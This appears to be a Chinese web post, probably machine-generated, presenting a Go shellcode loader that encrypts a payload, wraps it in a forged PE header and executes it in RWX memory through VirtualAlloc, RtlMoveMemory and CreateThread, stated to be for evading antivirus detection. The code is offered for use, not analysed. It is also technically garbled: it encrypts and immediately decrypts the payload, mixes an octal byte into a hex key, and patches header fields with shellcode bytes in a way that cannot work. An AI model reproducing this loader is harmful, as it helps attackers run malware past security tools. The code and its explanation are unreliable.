本题需要用到伪造PE头文件的技术,将shellcode伪装成PE格式,使其绕过一些杀软的检测。

以下是完整代码,其中用到了一些Windows API函数:

  1. VirtualAlloc:申请内存空间
  2. RtlMoveMemory:内存复制
  3. CreateThread:创建线程

代码中的AesCipher和Crypt函数用来对payload进行加密和解密,Encode和Decode函数用来对加密后的payload进行base64编码和解码。最后在main函数中,读取payload文件,对其进行加密和编码,并将加密后的shellcode传递给exec函数执行。

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "io/ioutil"
    "syscall"
    "time"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var AesKey = []byte{
    0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B,
    0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B,
    0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B,
}

type CipherFunc func(key []byte, src []byte) []byte

func AesCipher(key []byte, src []byte) []byte {
    block, _ := aes.NewCipher(key)
    iv := make([]byte, aes.BlockSize)
    stream := cipher.NewCTR(block, iv)
    dst := make([]byte, len(src))
    stream.XORKeyStream(dst, src)
    return dst
}

func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
    return cipher(key, src)
}

func Encode(src string) string {
    payloadBytes := []byte(src)
    encodedBytes := Crypt(AesCipher, AesKey, payloadBytes)
    bdata := base64.StdEncoding.EncodeToString(encodedBytes)
    return bdata
}

func Decode(src string) []byte {
    decodedBytes, _ := base64.StdEncoding.DecodeString(src)
    payloadBytes := Crypt(AesCipher, AesKey, decodedBytes)
    return payloadBytes
}

var (
    kernel32      = syscall.NewLazyDLL("kernel32.dll")
    ntdll         = syscall.NewLazyDLL("ntdll.dll")
    VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
    RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
    CreateThread  = kernel32.NewProc("CreateThread")
)

func exec(charcode []byte) {
    addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    time.Sleep(5)
    _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
    time.Sleep(5)
    handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
    time.Sleep(5)
    syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE)
}

func readFile(filename string) []byte {
    data, _ := ioutil.ReadFile(filename)
    return data
}

func fakePE(header []byte, shellcode []byte) []byte {
    // 修改PE头中的Image Base和SizeOfImage
    header[0x34] = 0x00
    header[0x35] = 0x40
    header[0x36] = 0x00
    header[0x37] = 0x00
    header[0x50] = 0x00
    header[0x51] = 0x04
    header[0x52] = 0x00
    header[0x53] = 0x00
    // 修改PE头中的EntryPoint
    header[0x28] = shellcode[0]
    header[0x29] = shellcode[1]
    header[0x2A] = shellcode[2]
    header[0x2B] = shellcode[3]
    // 返回伪造的PE文件内容
    return append(header, shellcode[4:]...)
}

func main() {
    payload := readFile("./payload.bin")
    encodedPayload := Encode(string(payload))
    shellCodeHex := Decode(encodedPayload)

    // 读取PE头文件
    header := readFile("./header.bin")
    // 伪造PE文件
    fakePEFile := fakePE(header, shellCodeHex)
    exec(fakePEFile)
}
Go语言实现伪造PE头文件执行Shellcode

原文地址: https://www.cveoy.top/t/topic/lKMH 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录